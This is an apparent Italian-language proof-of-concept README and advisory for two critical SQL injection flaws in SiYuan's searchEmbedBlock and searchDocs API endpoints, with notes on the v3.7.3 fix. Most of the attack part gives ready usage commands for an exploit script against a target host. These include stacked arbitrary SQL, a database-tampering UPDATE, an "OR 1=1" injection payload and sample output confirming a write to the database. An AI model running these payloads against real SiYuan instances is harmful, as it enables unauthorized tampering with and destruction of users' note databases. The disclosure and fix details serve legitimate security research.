
CVE-2026-69084/69085 — Esecuzione SQL arbitraria in SiYuan tramite searchEmbedBlock + SQLi in searchDocs (CVSS 9.9). Verificato su v3.7.2, respinto su v3.7.3.
CVE-2026-69084: Esecuzione SQL arbitraria tramite /api/search/searchEmbedBlock
CVE-2026-69085: Iniezione SQL tramite /api/filetree/searchDocs
CVSS 9.9 (Critical) ciascuna · CWE-89 · SiYuan <= v3.7.2 (corretto in v3.7.3)
Pubblicato il 2026-08-03 · nessun PoC pubblico al momento della pubblicazione
SiYuan (app open-source per prendere appunti, github.com/siyuan-note/siyuan) espone due endpoint API che passano SQL controllato dall'attaccante al proprio database SQLite:
CVE-2026-69084 — /api/search/searchEmbedBlock:
Il parametro stmt viene passato così com'è all'handle principale di lettura-scrittura di siyuan.db senza alcuna restrizione di singola istruzione o di sola lettura. Il driver SQLite esegue istruzioni impilate (separate da punto e virgola), quindi un attaccante può CREATE / INSERT / UPDATE / DELETE / DROP qualsiasi cosa nel database. Protetto solo da CheckAuth — raggiungibile con un token RoleReader di pubblicazione, oppure in modo anonimo quando la modalità publish ha Publish.Auth.Enable=false.
CVE-2026-69085 — /api/filetree/searchDocs:
Il parametro keyword viene concatenato direttamente nell'SQL senza escaping né binding di parametri.
Entrambe sono state corrette nella v3.7.3 tramite sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().
# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
Se l'istanza è in esecuzione con la modalità publish abilitata e l'autenticazione disabilitata (Publish.Auth.Enable=false), non è necessario alcun --auth.
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL kabul edildi (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL kabul edildi (blocks: 0)
[+] DB-WRITE KANITI TAMAM — siyuan.db'de pwn_69084 tablosu + 31337 satırı
# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
v3.7.3 corretta rifiuta le stesse richieste:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT funziona ancora (funzionalità legittima preservata)Il PoC Python esegue un login di sessione (/api/system/loginAuth) per ottenere il cookie di autenticazione, quindi invia una POST all'endpoint vulnerabile. Testato con b3log/siyuan:v3.7.2 (vulnerabile) e b3log/siyuan:v3.7.3 (corretto).
Publish.Auth.Enable=true e usa token RoleReader forti.Solo per test di sicurezza autorizzati e scopi educativi.